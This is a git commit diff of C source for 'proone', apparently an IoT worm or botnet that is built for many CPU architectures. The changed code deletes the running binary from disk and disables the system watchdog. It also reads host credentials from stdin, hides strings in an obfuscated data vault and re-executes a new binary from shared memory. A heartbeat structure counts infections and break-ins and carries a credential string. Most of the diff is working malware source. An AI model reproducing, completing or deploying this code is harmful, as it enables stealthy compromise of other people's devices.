diff options
Diffstat (limited to 'src')
-rw-r--r-- | src/Makefile.am | 8 | ||||
-rw-r--r-- | src/config.c | 42 | ||||
-rw-r--r-- | src/config.h | 12 | ||||
-rw-r--r-- | src/data.c | 6 | ||||
-rw-r--r-- | src/data.h | 4 | ||||
-rw-r--r-- | src/dvault.c | 9 | ||||
-rw-r--r-- | src/dvault.h | 6 | ||||
-rw-r--r-- | src/heartbeat-worker.c | 9 | ||||
-rw-r--r-- | src/heartbeat.c | 0 | ||||
-rw-r--r-- | src/heartbeat.h | 42 | ||||
-rw-r--r-- | src/pack.c | 33 | ||||
-rw-r--r-- | src/pack.h | 3 | ||||
-rw-r--r-- | src/proone-unpack.c | 10 | ||||
-rw-r--r-- | src/proone.c | 635 | ||||
-rw-r--r-- | src/proone.h | 26 | ||||
-rw-r--r-- | src/protocol.h | 3 | ||||
-rw-r--r-- | src/rnd.c | 5 | ||||
-rw-r--r-- | src/util_ct.h | 7 | ||||
-rw-r--r-- | src/util_rt.c (renamed from src/util.c) | 42 | ||||
-rw-r--r-- | src/util_rt.h (renamed from src/util.h) | 10 | ||||
-rw-r--r-- | src/worker.c | 5 |
21 files changed, 665 insertions, 252 deletions
diff --git a/src/Makefile.am b/src/Makefile.am index 6ebd69d..e8509ec 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -2,7 +2,7 @@ TARGET_FLAGS = DEV_FLAGS = if DEBUG TARGET_FLAGS += -g -O0 -DEV_FLAGS += -g -O0 -DDEBUG +DEV_FLAGS += -g -O0 -DPRNE_DEBUG else TARGET_FLAGS += -Os DEV_FLAGS += -Os @@ -18,7 +18,7 @@ libproone_a_SOURCES =\ pack.c\ dvault.c\ data.c\ - util.c\ + util_rt.c\ rnd.c proone_LDFLAGS = -static @@ -29,6 +29,7 @@ proone_SOURCES =\ proone.c proone_pack_LDADD = libproone.a +proone_pack_LDFLAGS = $(DEP_LIBS) proone_pack_SOURCES = proone-pack.c proone_unpack_LDADD = libproone.a @@ -36,12 +37,15 @@ proone_unpack_LDFLAGS = $(DEP_LIBS) proone_unpack_SOURCES = proone-unpack.c proone_list_arch_LDADD = libproone.a +proone_list_arch_LDFLAGS = $(DEP_LIBS) proone_list_arch_SOURCES = proone-list-arch.c proone_mask_LDADD = libproone.a +proone_mask_LDFLAGS = $(DEP_LIBS) proone_mask_SOURCES = proone-mask.c proone_print_all_data_LDADD = libproone.a +proone_print_all_data_LDFLAGS = $(DEP_LIBS) proone_print_all_data_SOURCES = proone-print-all-data.c if TESTS diff --git a/src/config.c b/src/config.c new file mode 100644 index 0000000..3ae82f4 --- /dev/null +++ b/src/config.c @@ -0,0 +1,42 @@ +#include "config.h" + + +const prne_arch_t prne_host_arch = +#ifdef __GNUC__ + #if defined(__ARM_ARCH_4T__) + PRNE_ARCH_ARMV4T + #elif defined(__ARM_ARCH_7A__) + PRNE_ARCH_ARMV7 + #elif defined(__x86_64__) || defined(__i386__) + PRNE_ARCH_I586 + #elif defined(__m68k__) + PRNE_ARCH_M68K + #elif defined(__mips__) + #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ + PRNE_ARCH_MIPS + #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + PRNE_ARCH_MPSL + #else + #error "FIXME!" + #endif + #elif defined(__powerpc__) + PRNE_ARCH_PPC + #elif defined(__riscv) || defined(__riscv__) + #if __riscv_xlen == 32 + PRNE_ARCH_RV32 + #elif __riscv_xlen == 64 + PRNE_ARCH_RV64 + #else + #error "FIXME!" + #endif + #elif defined(__SH4__) + PRNE_ARCH_SH4 + #elif defined(__sparc__) + PRNE_ARCH_SPC + #else + #error "FIXME!" + #endif +#else + #error "FIXME!" +#endif + ; diff --git a/src/config.h b/src/config.h new file mode 100644 index 0000000..1590b6b --- /dev/null +++ b/src/config.h @@ -0,0 +1,12 @@ +#pragma once +#include "protocol.h" + +#include <stdint.h> +#include <stddef.h> +#include <stdbool.h> + + +// "11f76b87-621a-479c-a218-5c5540337c9f" +#define PRNE_PROG_VER "\x00\xA4\x00\x24\xC0\x3E\x60\xE6\x5E\xFB\x18\xB6\x17\xD5\x17\x9B\x57\xB5\x56\xA1\xFD\x53\x1A\x26\x19\x0A\xB8\x49\x14\x04\x85\x81\x35\xB9\xF2\x3F\x76\xA0\x6E\xD4" + +extern const prne_arch_t prne_host_arch; @@ -1,9 +1,11 @@ #include "data.h" - +#include "config.h" uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY] = { // PRNE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", // PRNE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" (uint8_t*)"\x00\x37\x00\x24\x41\xEC\xB4\xD8\xF2\x70\xFE\x92\xC1\x6B\xBD\xB8\x49\x46\x3E\x58\x96\x5C\xB2\x4B\x1E\x23\x1E\x90\xC0\x2C\x95\xCA\xE8\x06\xC2\x00\x95\x58\x9F\x8F", -}; + // PRNE_DATA_KEY_PROGRAM_VER + (uint8_t*)PRNE_PROG_VER, +}; @@ -4,10 +4,12 @@ typedef enum { PRNE_DATA_KEY_NONE = -1, + PRNE_DATA_KEY_PROC_LIM_SHM, PRNE_DATA_KEY_SIGN_INIT_OK, + PRNE_DATA_KEY_PROGRAM_VER, + NB_PRNE_DATA_KEY } prne_data_key_t; - extern uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY]; diff --git a/src/dvault.c b/src/dvault.c index df2f0d6..7a0852e 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -1,4 +1,5 @@ #include "dvault.h" +#include "util_rt.h" #include <stdint.h> #include <stdbool.h> @@ -88,7 +89,7 @@ void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r) { } void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r) { - free(r->str); + prne_free(r->str); r->str_len = 0; r->str = NULL; r->result = PRNE_DVAULT_MASK_OK; @@ -110,7 +111,7 @@ prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const u } ret.str_len = 4 * 4 + 4 * data_size + 1; - ret.str = malloc(ret.str_len); + ret.str = prne_malloc(1, ret.str_len); if (ret.str == NULL) { ret.result = PRNE_DVAULT_MASK_MEM_ERR; ret.str_len = 0; @@ -151,7 +152,7 @@ void prne_init_dvault (void) { if (max_size == 0) { abort(); } - unmasked_buf = calloc(max_size, 1); + unmasked_buf = prne_calloc(1, max_size); unmasked_buf_size = max_size; if (unmasked_buf == NULL) { abort(); @@ -159,7 +160,7 @@ void prne_init_dvault (void) { } void prne_deinit_dvault (void) { - free(unmasked_buf); + prne_free(unmasked_buf); unmasked_buf = NULL; } diff --git a/src/dvault.h b/src/dvault.h index 71fbc5e..a548974 100644 --- a/src/dvault.h +++ b/src/dvault.h @@ -1,10 +1,11 @@ #pragma once +#include "util_ct.h" +#include "data.h" + #include <stddef.h> #include <stdbool.h> #include <stdint.h> -#include "data.h" - typedef struct prne_dvault_mask_result prne_dvault_mask_result_t; @@ -13,6 +14,7 @@ typedef enum { PRNE_DATA_TYPE_CSTR, NB_PRNE_DATA_TYPE } prne_data_type_t; +PRNE_LIMIT_ENUM(prne_data_type_t, NB_PRNE_DATA_TYPE, 0xFF); typedef enum { PRNE_DVAULT_MASK_OK, diff --git a/src/heartbeat-worker.c b/src/heartbeat-worker.c index e3e4acd..3fd4853 100644 --- a/src/heartbeat-worker.c +++ b/src/heartbeat-worker.c @@ -1,4 +1,5 @@ #include "heartbeat-worker.h" +#include "util_rt.h" #include "dvault.h" #include <stdlib.h> @@ -10,7 +11,7 @@ #include <arpa/inet.h> #include <netinet/in.h> -#define DECL_CTX_PTR(p) hb_w_ctx_t*ctx=(hb_w_ctx_t*)p +#define DECL_CTX_PTR(p) hb_w_ctx_t *ctx = (hb_w_ctx_t*)p; typedef struct hb_w_ctx hb_w_ctx_t; @@ -26,7 +27,7 @@ static const uint16_t HEARTBEAT_DEFAULT_BIND_PORT = 55420; static void heartbeat_worker_free (void *in_ctx) { DECL_CTX_PTR(in_ctx); close(ctx->fd); - free(ctx); + prne_free(ctx); } static void heartbeat_worker_fin (void *in_ctx) { @@ -87,7 +88,7 @@ bool prne_alloc_heartbeat_worker (prne_worker_t *w) { bool ret = true; hb_w_ctx_t *ctx = NULL; - ctx = (hb_w_ctx_t*)malloc(sizeof(hb_w_ctx_t)); + ctx = (hb_w_ctx_t*)prne_malloc(sizeof(hb_w_ctx_t), 1); if (ctx == NULL) { ret = false; goto END; @@ -152,7 +153,7 @@ END: if (ctx != NULL) { close(ctx->fd); } - free(ctx); + prne_free(ctx); } return ret; diff --git a/src/heartbeat.c b/src/heartbeat.c new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/src/heartbeat.c diff --git a/src/heartbeat.h b/src/heartbeat.h new file mode 100644 index 0000000..3d396cb --- /dev/null +++ b/src/heartbeat.h @@ -0,0 +1,42 @@ +#pragma once +#include "protocol.h" +#include "util_ct.h" + +#include <stdint.h> +#include <stddef.h> +#include <stdbool.h> + + +typedef struct prne_htbt_host_info prne_htbt_host_info_t; + +typedef enum { + PRNE_HTBT_OP_HOST_INFO, + PRNE_HTBT_OP_CMD, + PRNE_HTBT_OP_NY_BIN, + PRNE_HTBT_OP_RSP, + + NB_PRNE_HTBT_OP +} prne_htbt_op_t; +PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF); + +typedef enum { + PRNE_HTBT_RSP_OK, + PRNE_HTBT_RSP_ERRNO, + + NB_PRNE_HTBT_RSP +} prne_htbt_rsp_t; +PRNE_LIMIT_ENUM(prne_htbt_rsp_t, NB_PRNE_HTBT_RSP, 0xFF); + +struct prne_htbt_host_info { + char prog_ver[36]; + uint64_t uptime; + uint64_t rerun_cnt; + uint64_t bne_cnt; + uint64_t infect_cnt; + uint32_t god_pid; + uint32_t proone_pid; + const char *cred_str; + uint8_t cred_id_len; + uint8_t cred_pw_len; + prne_arch_t arch; +}; @@ -1,5 +1,5 @@ #include "pack.h" -#include "util.h" +#include "util_rt.h" #include <stdint.h> #include <stdbool.h> @@ -48,7 +48,7 @@ prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd) { prne_init_unpack_bin_archive_result(&ret); memset(&stream, 0, sizeof(z_stream)); - mem = (uint8_t*)malloc(fd_buf_size + bio_buf_size + z_buf_size); + mem = (uint8_t*)prne_malloc(1, fd_buf_size + bio_buf_size + z_buf_size); if (mem == NULL) { ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; ret.err = errno; @@ -125,7 +125,7 @@ prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd) { z_out_size = z_buf_size - stream.avail_out; if (z_out_size > 0) { - ny_buf = realloc(ret.data, ret.data_size + z_out_size); + ny_buf = prne_realloc(ret.data, 1, ret.data_size + z_out_size); if (ny_buf == NULL) { ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; ret.err = errno; @@ -141,10 +141,14 @@ prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd) { } } while (!stream_end); + if (ret.data_size == 0) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR; + } + END: - free(mem); + prne_free(mem); if (ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { - free(ret.data); + prne_free(ret.data); ret.data = NULL; ret.data_size = 0; } @@ -162,7 +166,6 @@ prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_arc uint32_t bin_size; prne_arch_t arch_arr[NB_PRNE_ARCH]; prne_bin_archive_t archive; - uint8_t *out_buf; memset(arch_arr, 0, sizeof(prne_arch_t) * NB_PRNE_ARCH); memset(offset_arr, 0, sizeof(size_t) * NB_PRNE_ARCH); @@ -193,14 +196,13 @@ prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_arc buf_pos += 4 + bin_size; } while (buf_pos < in->data_size); - out_buf = (uint8_t*)malloc(sizeof(prne_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt + sizeof(size_t*) * arr_cnt); - if (out_buf == NULL) { + archive.arch_arr = (prne_arch_t*)prne_malloc(sizeof(prne_arch_t), arr_cnt); + archive.offset_arr = (size_t*)prne_malloc(sizeof(size_t), arr_cnt); + archive.size_arr = (size_t*)prne_malloc(sizeof(size_t), arr_cnt); + if (archive.arch_arr == NULL || archive.offset_arr == NULL || archive.size_arr == NULL) { ret = PRNE_INDEX_BIN_ARCHIVE_MEM_ERR; goto END; } - archive.arch_arr = (prne_arch_t*)out_buf; - archive.offset_arr = (size_t*)(out_buf + sizeof(prne_arch_t) * arr_cnt); - archive.size_arr = (size_t*)(out_buf + sizeof(prne_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt); archive.data_size = in->data_size; archive.data = in->data; @@ -222,7 +224,7 @@ END: } void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { - free(r->data); + prne_free(r->data); r->data = NULL; r->data_size = 0; r->result = PRNE_INDEX_BIN_ARCHIVE_OK; @@ -230,9 +232,12 @@ void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { } void prne_free_bin_archive (prne_bin_archive_t *a) { - free(a->data); - free(a->arch_arr); + prne_free(a->data); + prne_free(a->arch_arr); + prne_free(a->offset_arr); + prne_free(a->size_arr); a->nb_binaries = 0; + a->data = NULL; a->data_size = 0; a->arch_arr = NULL; a->offset_arr = NULL; @@ -22,7 +22,8 @@ typedef enum { PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR, PRNE_UNPACK_BIN_ARCHIVE_Z_ERR, PRNE_UNPACK_BIN_ARCHIVE_ERRNO, - PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR + PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR, + PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR } prne_unpack_bin_archive_result_code_t; struct prne_unpack_bin_archive_result { diff --git a/src/proone-unpack.c b/src/proone-unpack.c index 1f0e67f..32b80da 100644 --- a/src/proone-unpack.c +++ b/src/proone-unpack.c @@ -10,6 +10,7 @@ #include <zlib.h> #include "pack.h" +#include "util_rt.h" static void report_unpack_bin_archive_err (const prne_unpack_bin_archive_result_t *r) { @@ -35,6 +36,9 @@ static void report_unpack_bin_archive_err (const prne_unpack_bin_archive_result_ err_str = "memory error"; err_msg = strerror((int)r->err); break; + case PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR: + err_str = "format error"; + break; default: err_str = "* unknown"; } @@ -111,9 +115,9 @@ int main (const int argc, const char **args) { } path_size = 2 + path_prefix_len + strlen(arch_str); - ny_buf = realloc(path, path_size); + ny_buf = prne_realloc(path, 1, path_size); if (ny_buf == NULL) { - perror("realloc()"); + perror("prne_realloc()"); exit_code = 2; break; } @@ -135,7 +139,7 @@ int main (const int argc, const char **args) { } } while (false); - free(path); + prne_free(path); close(fd); prne_free_unpack_bin_archive_result(&unpack_ret); prne_free_bin_archive(&bin_archive); diff --git a/src/proone.c b/src/proone.c index 33cea92..8dfabc3 100644 --- a/src/proone.c +++ b/src/proone.c @@ -10,18 +10,22 @@ #include <errno.h> #include <fcntl.h> #include <signal.h> +#include <malloc.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/file.h> +#include <sys/wait.h> +#include <sys/random.h> #include "proone.h" -#include "util.h" +#include "util_rt.h" #include "dvault.h" #include "heartbeat-worker.h" -struct prne_global pne_g; +struct prne_global prne_g; +struct prne_shared_global *prne_s_g = NULL; typedef struct { @@ -40,104 +44,10 @@ static void (*proc_fin_call_ptr)(void) = NULL; static bool finalising = false; static pollfd_pool_t pollfd_pool; - -static bool ensure_single_instance (void) { - int fd; - - fd = shm_open( - prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), - O_RDWR | O_CREAT | O_TRUNC, - 0666); - prne_dvault_reset_dict(); - if (fd < 0) { - return true; - } - - if (flock(fd, LOCK_EX | LOCK_NB) < 0) { - return errno != EWOULDBLOCK; - } - else { - pne_g.has_proc_lim_lock = true; - } - - return true; -} - -static void init_rnd_engine (void) { - uint32_t seed = 0; - int fd; - prne_rnd_engnie_alloc_result_t ret; - - fd = open("/dev/urandom", O_RDONLY); - if (fd >= 0) { - read(fd, &seed, sizeof(uint32_t)); - close(fd); - } - - if (seed == 0) { - // fall back to seeding with what's available. - seed = - (uint32_t)(time(NULL) % 0xFFFFFFFF) ^ - (uint32_t)(getpid() % 0xFFFFFFFF) ^ - (uint32_t)(getppid() % 0xFFFFFFFF) ^ - (uint32_t)(clock() % 0xFFFFFFFF); - } - - ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); - if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { - abort(); - } - - pne_g.rnd = ret.engine; -} - -static void delete_myself (const char *arg0) { - static const char *proc_path = "/proc/self/exe"; - struct stat st; - const char *path_to_unlink = NULL; - char *path_buf = NULL; - - // get real path of myself - if (lstat(proc_path, &st) == 0 && (path_buf = (char*)malloc(st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size + 1) == st.st_size) { - path_buf[st.st_size] = 0; - path_to_unlink = path_buf; - } - else { - // try to delete arg0 instead - path_to_unlink = arg0; - } - - unlink(path_to_unlink); - free(path_buf); -} - -static void disasble_watchdog (void) { - static const char *watchdog_paths[] = { - "/dev/watchdog", - "/dev/misc/watchdog" - }; - static const int one = 1; - int fd; - size_t i; - - for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) { - if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) { - ioctl(fd, 0x80045704, &one); - close(fd); - break; - } - } -} - -static void handle_interrupt (const int sig) { - if (pne_g.caught_signal == 0) { - pne_g.caught_signal = sig; - } - signal(sig, SIG_DFL); -} +static prne_rnd_engine_t *mk_rnd_engine (void); static void proc_fin_call (void) { - if (pne_g.caught_signal != 0) { + if (prne_g.caught_signal != 0) { size_t i; worker_tuple_t *wt; @@ -151,105 +61,23 @@ static void proc_fin_call (void) { } } -static void print_ready_signature (void) { - size_t len; - uint8_t *sig_data; - char *plain_str, *sig_str; - - plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len); - - sig_data = (uint8_t*)malloc(len + 1); - sig_data[0] = (uint8_t)(prne_rnd_gen_int(pne_g.rnd) % 256); - memcpy(sig_data + 1, plain_str, len); - prne_dvault_reset_dict(); - prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]); - - sig_str = prne_enc_base64_mem(sig_data, len); - if (sig_str == NULL) { - abort(); - } - - puts(sig_str); - - free(sig_str); - free(sig_data); -} - -static void read_host_credential (void) { - static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3; - char *buf = (char*)malloc(buf_size); - size_t i; - bool found = false; - - for (i = 0; i < buf_size; i += 1) { - if (read(STDIN_FILENO, &buf[i], 1) != 1) { - goto END; - } - - if (buf[i] == '\n') { - found = true; - break; - } - } - if (found) { - prne_dec_base64_mem(buf, i, &pne_g.host_cred_data, &pne_g.host_cred_size); - } - -END: - free(buf); -} - - -int main (const int argc, char **args) { +static int proone_main (void) { int exit_code = 0; size_t i; worker_tuple_t *wt; prne_worker_sched_info_t sched_info; - pne_g.host_cred_data = NULL; - pne_g.host_cred_size = 0; - pne_g.has_proc_lim_lock = false; - pne_g.bin_ready = false; - pne_g.caught_signal = 0; - pne_g.rnd = NULL; - prne_init_unpack_bin_archive_result(&pne_g.bin_pack); - prne_init_bin_archive(&pne_g.bin_archive); - - /* quick prep. IN THIS ORDER! */ - prne_init_dvault(); -#ifndef DEBUG - delete_myself(args[0]); - disasble_watchdog(); -#endif - init_rnd_engine(); - - print_ready_signature(); - read_host_credential(); - // get fed with the bin archive - pne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); - if (pne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) { - pne_g.bin_ready = prne_index_bin_archive(&pne_g.bin_pack, &pne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; - } + prne_g.rnd = mk_rnd_engine(); // done with the terminal close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); - // install signal handlers - // try to exit gracefully upon reception of these signals - signal(SIGINT, handle_interrupt); - signal(SIGTERM, handle_interrupt); - signal(SIGCHLD, SIG_IGN); -#ifndef DEBUG +#ifndef PRNE_DEBUG signal(SIGPIPE, SIG_IGN); #endif - if (!ensure_single_instance()) { - exit_code = 1; - goto END; - } - // init workers if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) { worker_pool_size += 1; @@ -261,7 +89,7 @@ int main (const int argc, char **args) { prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL); } - if (worker_pool_size == 0 || pne_g.caught_signal != 0) { + if (worker_pool_size == 0 || prne_g.caught_signal != 0) { goto END; } @@ -324,7 +152,7 @@ int main (const int argc, char **args) { /* FIXME: `total_pollfd_size` could be zero if there's some bug in * one of the workers. */ - ny_mem = realloc(pollfd_pool.arr, total_pollfd_size * sizeof(struct pollfd)); + ny_mem = prne_realloc(pollfd_pool.arr, sizeof(struct pollfd), total_pollfd_size); if (ny_mem != NULL) { pollfd_pool.arr = (struct pollfd*)ny_mem; pollfd_pool.size = total_pollfd_size; @@ -379,7 +207,7 @@ int main (const int argc, char **args) { } END: - free(pollfd_pool.arr); + prne_free(pollfd_pool.arr); pollfd_pool.arr = NULL; pollfd_pool.size = 0; @@ -389,24 +217,435 @@ END: wt->sched_req.mem_func.free(&wt->sched_req); } - free(pne_g.host_cred_data); - pne_g.host_cred_data = NULL; - pne_g.host_cred_size = 0; + prne_free_rnd_engine(prne_g.rnd); + prne_g.rnd = NULL; - if (pne_g.has_proc_lim_lock) { - shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); - prne_dvault_reset_dict(); - pne_g.has_proc_lim_lock = false; + return exit_code; +} + +static bool ensure_single_instance (void) { + prne_g.lock_shm_fd = shm_open( + prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), + O_RDWR | O_CREAT | O_TRUNC, + 0666); + prne_dvault_reset_dict(); + if (prne_g.lock_shm_fd < 0) { + return true; + } + + if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) { + close(prne_g.lock_shm_fd); + prne_g.lock_shm_fd = -1; + + return false; + } + + return true; +} + +static void delete_myself (const char *arg0) { +#ifndef PRNE_DEBUG + static const char *proc_path = "/proc/self/exe"; + struct stat st; + const char *path_to_unlink = NULL; + char *path_buf = NULL; + + // get real path of myself + if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) { + path_buf[st.st_size] = 0; + path_to_unlink = path_buf; + } + else { + // try to delete arg0 instead + path_to_unlink = arg0; + } + + unlink(path_to_unlink); + prne_free(path_buf); +#endif +} + +static void disasble_watchdog (void) { +#ifndef PRNE_DEBUG + static const char *watchdog_paths[] = { + "/dev/watchdog", + "/dev/misc/watchdog" + }; + static const int one = 1; + int fd; + size_t i; + + for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) { + if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) { + ioctl(fd, 0x80045704, &one); + close(fd); + break; + } + } +#endif +} + +static void handle_interrupt (const int sig) { + prne_g.caught_signal = sig; + + if (prne_g.proone_pid != 0) { + kill(prne_g.proone_pid, sig); } +} + +static void setup_signal_actions (void) { + struct sigaction sa; - prne_free_bin_archive(&pne_g.bin_archive); - prne_free_unpack_bin_archive_result(&pne_g.bin_pack); - pne_g.bin_ready = false; + sa.sa_handler = handle_interrupt; + sigemptyset(&sa.sa_mask); + sa.sa_flags = SA_RESETHAND; + + // try to exit gracefully upon reception of these signals + sigaction(SIGINT, &sa, NULL); + sigaction(SIGTERM, &sa, NULL); +} + +static void print_ready_signature (prne_rnd_engine_t *rnd) { + size_t len; + uint8_t *sig_data; + char *plain_str, *sig_str; + + plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len); + + sig_data = (uint8_t*)prne_malloc(1, len + 1); + sig_data[0] = (uint8_t)(prne_rnd_gen_int(rnd) % 256); + memcpy(sig_data + 1, plain_str, len); + prne_dvault_reset_dict(); + prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]); + + sig_str = prne_enc_base64_mem(sig_data, len); + if (sig_str == NULL) { + abort(); + } + + puts(sig_str); + + prne_free(sig_str); + prne_free(sig_data); +} + +static void read_host_credential (void) { + static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3; + char *buf = (char*)prne_malloc(1, buf_size); + size_t i; + bool found = false; + + for (i = 0; i < buf_size; i += 1) { + if (read(STDIN_FILENO, &buf[i], 1) != 1) { + goto END; + } + + if (buf[i] == '\n') { + found = true; + break; + } + } + if (found) { + prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size); + } + +END: + prne_free(buf); +} + +static void set_env (void) { +#ifdef PRNE_DEBUG + // print info on heap corruption as much as possible + mallopt(M_CHECK_ACTION, 3); +#else + // silently die on heap corruption + mallopt(M_CHECK_ACTION, 2); +#endif +} + +static void create_ny_bin_shm (prne_rnd_engine_t *rnd) { + const size_t str_len = 1 + 10; + + prne_g.ny_bin_shm_name = prne_malloc(1, str_len + 1); + if (prne_g.ny_bin_shm_name == NULL) { + return; + } + + prne_g.ny_bin_shm_name[0] = '/'; + prne_g.ny_bin_shm_name[str_len] = 0; + prne_rnd_anum_str(rnd, prne_g.ny_bin_shm_name + 1, str_len - 1); + + prne_g.ny_bin_shm_fd = shm_open(prne_g.ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0000); + if (prne_g.ny_bin_shm_fd < 0) { + prne_free(prne_g.ny_bin_shm_name); + prne_g.ny_bin_shm_name = NULL; + } +} + +static void exec_ny_bin (void) { + // Just die on error + static const size_t proc_fd_path_size = 14 + 11 + 1; + uint8_t *data, *bin = NULL; + size_t i, args_size, bin_size, argc = 0, cnt; + char *arg_str; + const char **args; + struct stat st; + char *proc_fd_path; + char *real_shm_path; + + if (prne_g.ny_bin_shm_fd < 0) { + return; + } + + if (fstat(prne_g.ny_bin_shm_fd, &st) < 0 || st.st_size < 0) { + abort(); + } + if (st.st_size == 0) { + if (prne_s_g->has_ny_bin) { + abort(); + } + return; + } + data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, prne_g.ny_bin_shm_fd, 0); + for (i = 1; i <= (size_t)st.st_size; i += 1) { + if (data[st.st_size - i] == 0) { + bin = &data[st.st_size - i + 1]; + break; + } + } + + if (bin == NULL) { + abort(); + } + args_size = bin - data; + bin_size = st.st_size - args_size; + arg_str = prne_malloc(1, args_size); + memcpy(arg_str, data, args_size); + + memmove(bin, data, bin_size); + + munmap(data, (size_t)st.st_size); + data = NULL; + ftruncate(prne_g.ny_bin_shm_fd, bin_size); + + for (i = 0; i < args_size; i += 1) { + if (arg_str[i] == 0) { + argc += 1; + } + } + args = prne_malloc(sizeof(const char*), argc + 1); + cnt = 1; + for(i = 1; cnt < argc; i += 1) { + if (arg_str[i] == 0) { + args[cnt] = &arg_str[i + 1]; + cnt += 1; + } + } + args[argc] = NULL; + + proc_fd_path = prne_malloc(1, proc_fd_path_size); + snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", prne_g.ny_bin_shm_fd); + if (lstat(proc_fd_path, &st) < 0) { + abort(); + } + + real_shm_path = prne_malloc(1, st.st_size + 1); + if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) { + abort(); + } - prne_free_rnd_engine(pne_g.rnd); - pne_g.rnd = NULL; + fchmod(prne_g.ny_bin_shm_fd, 0777); + close(prne_g.ny_bin_shm_fd); + prne_g.ny_bin_shm_fd = -1; + + args[0] = proc_fd_path; + if (execv(real_shm_path, (char *const*)args) < 0) { + abort(); + } +} + +static void init_shared_global (prne_rnd_engine_t *rnd) { + // just die on error + const size_t str_len = 1 + 10; + int fd; + char *name; + + name = prne_malloc(1, str_len + 1); + name[0] = '/'; + name[str_len] = 0; + prne_rnd_anum_str(rnd, name + 1, str_len - 1); + + fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000); + if (fd < 0) { + abort(); + } + shm_unlink(name); + prne_free(name); + + if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) { + abort(); + } + prne_s_g = (struct prne_shared_global*)mmap(NULL, sizeof(struct prne_shared_global), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + if (prne_s_g == NULL) { + abort(); + } + close(fd); + + prne_s_g->bne_cnt = 0; + prne_s_g->infect_cnt = 0; + prne_s_g->has_ny_bin = false; +} + + +int main (const int argc, char **args) { + int exit_code = 0; + prne_rnd_engine_t *rnd = NULL; + + // inits that need no outside resources + set_env(); + prne_init_dvault(); + + prne_g.host_cred_data = NULL; + prne_g.host_cred_size = 0; + prne_g.ny_bin_shm_name = NULL; + prne_g.rnd = NULL; + memset(&prne_g.god_start, 0, sizeof(struct timespec)); + prne_g.run_cnt = 0; + prne_g.caught_signal = 0; + prne_g.god_pid = getpid(); + prne_g.proone_pid = 0; + prne_g.lock_shm_fd = -1; + 